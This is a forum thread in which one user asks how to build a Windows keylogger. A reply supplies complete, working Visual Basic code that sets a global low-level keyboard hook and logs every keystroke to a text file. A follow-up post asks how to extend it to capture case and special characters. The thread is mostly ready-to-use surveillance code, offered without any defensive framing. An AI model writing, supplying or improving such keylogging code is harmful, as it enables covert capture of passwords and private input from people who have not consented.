How Can I Make A Keylogger?

[Hell_Fire]

Anybody knows of some way to make an application which loggs the keys that being pressed in windows and in windows applications?
It'll sure help me alot.

10x ahead.

[Serge]

Something like this:

Module Code

Public Type KBDLLHOOKSTRUCT
    vkCode As Long
    scanCode As Long
    flags As Long
    time As Long
    dwExtraInfo As Long
End Type
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Const HC_ACTION = 0
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105
Public Const VK_TAB = &H9
Public Const VK_CONTROL = &H11
Private Const VK_LSHIFT = &HA0
Private Const VK_RSHIFT = &HA1
Private Const VK_RCONTROL = &HA3
Private Const VK_LCONTROL = &HA2
Private Const VK_SHIFT = &H10
Public Const VK_ESCAPE = &H1B
Public Const VK_DELETE = &H2E
 
Public Const WH_KEYBOARD_LL = 13
Public Const LLKHF_ALTDOWN = &H20
 
 
Dim m_udtKEYBOARDHOOK As KBDLLHOOKSTRUCT
 
Public Function KeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Dim intFFN As Integer
    
    Dim blnConsumeKey As Boolean
    
    If (nCode = HC_ACTION) Then
        If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
            CopyMemory m_udtKEYBOARDHOOK, ByVal lParam, Len(m_udtKEYBOARDHOOK)
               
            intFFN = FreeFile
            Open "C:\Keylogger.txt" For Append As intFFN
            
            With m_udtKEYBOARDHOOK
                If (.flags And LLKHF_ALTDOWN) <> 0 Then
                    Print #intFFN, "ALT"
                End If
                
                'print printable characters
                If .vkCode >= 33 And .vkCode <= 126 Then
                    Print #intFFN, Chr(.vkCode)
                ElseIf .vkCode = VK_LSHIFT Or .vkCode = VK_RSHIFT Or .vkCode = VK_SHIFT Then
                    Print #intFFN, "SHIFT"
                ElseIf .vkCode = VK_CONTROL Then
                    Print #intFFN, "CONTROL"
                Else
                    Print #intFFN, "ASCII: " & .vkCode
                End If
            End With
               
            Close #intFFN
            
        End If
    End If
    KeyboardProc = CallNextHookEx(0, nCode, wParam, ByVal lParam)
End Function

Form Code (add a checkbox called chkLog)

Dim m_lngKeyboad As Long
 
Private Sub chkLog_Click()
    If chkLog = vbChecked Then
        m_lngKeyboad = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KeyboardProc, App.hInstance, 0)
    Else
        UnhookWindowsHookEx m_lngKeyboad
        m_lngKeyboad = 0
    End If
End Sub
 
 
Private Sub Form_Unload(Cancel As Integer)
    If m_lngKeyboad <> 0 Then UnhookWindowsHookEx m_lngKeyboad
End Sub

You can improve the code by adding more conditions in the KeyboardProc function.

[SantLou]

Serge,

That keylogger works nicely, but how would we enhance it to capture both upper and lower case, and special chars ? I've been looking at several samples and I'm having a problem resolving such issues.


Thanx... Lou